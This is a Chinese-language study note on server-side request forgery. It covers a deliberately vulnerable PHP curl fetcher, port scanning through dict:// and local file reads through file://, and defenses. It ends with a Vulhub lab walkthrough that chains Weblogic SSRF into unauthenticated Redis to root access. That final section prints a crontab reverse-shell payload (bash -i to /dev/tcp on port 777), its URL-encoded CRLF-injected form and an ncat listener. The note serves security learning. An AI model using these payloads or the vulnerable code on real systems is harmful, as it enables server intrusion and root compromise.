【CyberSecurityLearning 64】SSRF
目錄
SSRF
SSRF 概述及危害
*SSRF 概述
*SSRF 危害
SSRF 常見代碼實現
SSRF 利用
*訪問正常文件
*端口掃描(掃描內網機器的端口)
*讀取系統本地文件
* 內網Web 應用指紋識別
*攻擊內網應用
SSRF 漏洞的挖掘
SSRF 的防御
@ 限制協議
@ 限制IP
@ 限制端口
@ 過濾返回信息
@ 統一錯誤信息
實驗:我們如何利用ssrf去攻擊內網應用獲得shell
Weblogic 從ssrf 到getshell
?
SSRF
SSRF 概述及危害
*SSRF 概述
互聯網上的很多Web 應用提供了從其他服務器(也可以是本地)獲取數據的功能。使用用戶指定的URL,Web 應用可以獲取圖片、文件資源(下載或讀取)。如百度識圖等
用戶可以從本地或者URL 的方式獲取圖片資源,交給百度識圖處理。如果提交的是URL 地址,該應用就會通過URL 的方式獲取圖片資源。如果Web 應用開放了類似于百度識圖這樣的功能,并且對用戶提供的URL和遠端服務器返回的信息沒有進行合適的驗證或者過濾,就可能存在“請求偽造”的缺陷。請求偽造,顧名思義就是攻擊者偽造正常的請求,以達到攻擊的目的,是常見的Web 安全漏洞之一。如果“請求偽造”發生在服務器端,那么這個漏洞就叫做“服務器端請求偽造”,英文名為Server-Side Request Forgery,簡稱SSRF。
SSRF(服務器端請求偽造)是一種攻擊者發起的偽造由服務器端發出請求的一種攻擊,也是常見的Web 安全漏洞(缺陷或者風險)之一。
CSRF是發生在客戶端的漏洞,它屬于跨站請求偽造,這個請求偽造就是強制客戶發送一個攻擊者的請求
SSRF是發生在服務器端的漏洞,是強制服務器發送一個攻擊者的請求
*SSRF 危害
@ 端口掃描
@ 內網Web 應用指紋識別
@ 攻擊內網Web 應用
@ 讀取本地文件
?
SSRF 常見代碼實現
在服務器端實現通過URL 從服務器(外部或者內部)獲取資源功能的方法有很多,此處使用PHP 語言和curl 擴展實現該功能。
通過phpinfo() 函數查看對curl 擴展的支持,現在大部分wamp 套件均支持curl 擴展
<?php if (isset($_REQUEST['url'])) {$link = $_REQUEST['url'];$filename = './curled/'.time().'.txt';$curlobj = curl_init($link);$fp = fopen($filename,"w");curl_setopt($curlobj, CURLOPT_FILE, $fp);curl_setopt($curlobj, CURLOPT_HEADER, 0);curl_setopt($curlobj, CURLOPT_FOLLOWLOCATION, TRUE);curl_exec($curlobj);curl_close($curlobj);fclose($fp);$fp = fopen($filename,"r");$result = fread($fp, filesize($filename)); fclose($fp);echo $result; }else{echo "?url=[url]"; } ?>??? 將以上代碼保存成文件[ssrf_curl.php]。該段代碼實現了從服務器獲取資源的基本功能,提交
??? [?url=http://www.baidu.com ]
??? 頁面就會載入百度首頁的資源。
?
??? 同時,獲取的資源文件會保存在[./curled]中,并以發起請求時間的unix 時間戳命名。
?
SSRF 利用
*訪問正常文件
訪問正常文件,提交參數[?url=http://www.baidu.com/robots.txt]
*端口掃描(掃描內網機器的端口)
當訪問未開放端口,腳本會顯示空白或者報錯,提交參數[?url=dict://127.0.0.1:1234]
當訪問開放端口時,腳本會顯示bannner 信息。
[?url=dict://127.0.0.1:80]
[?url=dict://127.0.0.1:3306]
dict://叫字典協議
用nmap進行掃描的時候是訪問不到內網機器的,但是我們用ssrf就能訪問內網,因為服務器就在內網,因為我們這個請求就是從服務器發出的
*讀取系統本地文件
利用file協議可以任意讀取本地系統文件,提交參數
[?url=file://c:\windows\system32\drivers\etc\hosts]
* 內網Web 應用指紋識別
??? 識別內網應用使用的框架,平臺,模塊以及cms可以為后續的滲透測試提供很多幫助。大多數web應用框架都有一些獨特的文件和目錄。通過這些文件可以識別出應用的類型,甚至詳細的版本。根據這些信息就可以針對性的搜集漏洞進行攻擊。
??? 比如可以通過訪問下列文件來判斷phpMyAdmin是否安裝以及詳細版本。
??? [?url=http://localhost/phpmyadmin/README]
?
*攻擊內網應用
內網安全通常都很薄弱,溢出、弱口令等一般都是存在的。通過ssrf 攻擊,可以實現對內網的訪問,從而可以攻擊內網應用或者本地機器,獲得shell,這里的應用包括服務、Web 應用
僅僅通過get 方法可以攻擊的Web 應用有很多,比如structs2 命令執行等。
Weblogic 從ssrf 到redis 未授權訪問到getshell
redis 數據庫
未授權訪問?? ??? ?不需要用戶名和密碼就可以訪問數據庫,讀寫文件,root 權限
SSRF 漏洞的挖掘
對外發起網絡請求的地方都可能存在SSRF 漏洞,列舉圖片加載下載,分享頁面,在線翻譯,未公開的api(從遠程服務器請求資源文件處理,編碼處理,屬性信息處理等。)
SSRF 的防御
@ 限制協議
僅允許http和https請求。
@ 限制IP
避免應用被用來獲取內網數據,攻擊內網。
@ 限制端口
限制請求的端口為http 常用的端口,例如80 443 8080 8090
@ 過濾返回信息
驗證遠程服務器對請求的響應是比較簡單的方法。
@ 統一錯誤信息
避免用戶可以根據錯誤信息來判斷遠端服務器的端口狀態(比如只要出現錯誤,給用戶看的就是404)
ssrf這個漏洞總結一下:
就是說如果web應用有可以從本地獲取url,同時服務器會發送這個url
這種類似的功能,如果沒有做一個比較好的限制,就會出現ssrf漏洞
?
實驗:我們如何利用ssrf去攻擊內網應用獲得shell
Weblogic 從ssrf 到getshell
環境搭建:
https://vulhub.org/#/environments/weblogic/ssrf/
依賴于docker 技術
docker-compose up -d 啟動兩個docker 鏡像
docker ps
docker exec -it 3963de188db5 "/bin/bash"
linux
crontab?? 計劃任務
備份
訪問weblogic
http://ip:7001
出現以下頁面,搭建成功
漏洞存在地方:
[http://192.168.1.129:7001/uddiexplorer/]
這里我們使用Bp 抓一下包
我們發現當我們提交不同的url 頁面的回顯是不一樣的。
當我提交以下兩個不同的url,對其得到的回應,作比較
http://localhost
http://localhost:7001
確認存在SSRF漏洞
------------
POST /uddiexplorer/SearchPublicRegistries.jsp HTTP/1.1
Host: 192.168.1.129:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
DNT: 1
Connection: close
Referer: http://192.168.1.129:7001/uddiexplorer/SearchPublicRegistries.jsp
Cookie: publicinquiryurls=http://www-3.ibm.com/services/uddi/inquiryapi!IBM|http://www-3.ibm.com/services/uddi/v2beta/inquiryapi!IBM V2|http://uddi.rte.microsoft.com/inquire!Microsoft|http://services.xmethods.net/glue/inquire/uddi!XMethods|; JSESSIONID=dsQKp3ZLK3XNjv9JqvJ16L1nN89QZ3DK7yDLGcDgSlFwGHF5FRJQ!899981451
Upgrade-Insecure-Requests: 1
operator=http://172.18.0.2:6379&rdoSearch=name&txtSearchname=&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search
-------------------------------
redis 數據庫
未授權訪問??
在訪問數據庫是不需要提供用戶名和密碼
具有root權限
讀寫文件
語法
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/10.0.105.222/777 0>&1\n\n\n\n"?? 將bash彈到172.18.0.1的777端口config set dir /etc/??? 設置目錄
config set dbfilename crontab
save
本機監聽一下777端口:ncat -lvvp 777
讀寫計劃任務文件crontab
進行URL編碼
???----
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.105.222%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
----
??----
http://172.19.0.2:6379/test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.0.105.222%2F777%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
----
?? ???? 讀寫計劃任務文件crontab
?? ??? ?反彈Shell 到指定地址
成功反彈,拿到root用戶權限
總結
以上是生活随笔為你收集整理的【CyberSecurityLearning 64】SSRF的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 作者:鲁鸣鸣(1978-),男,博士,中
- 下一篇: 【CyberSecurityLearni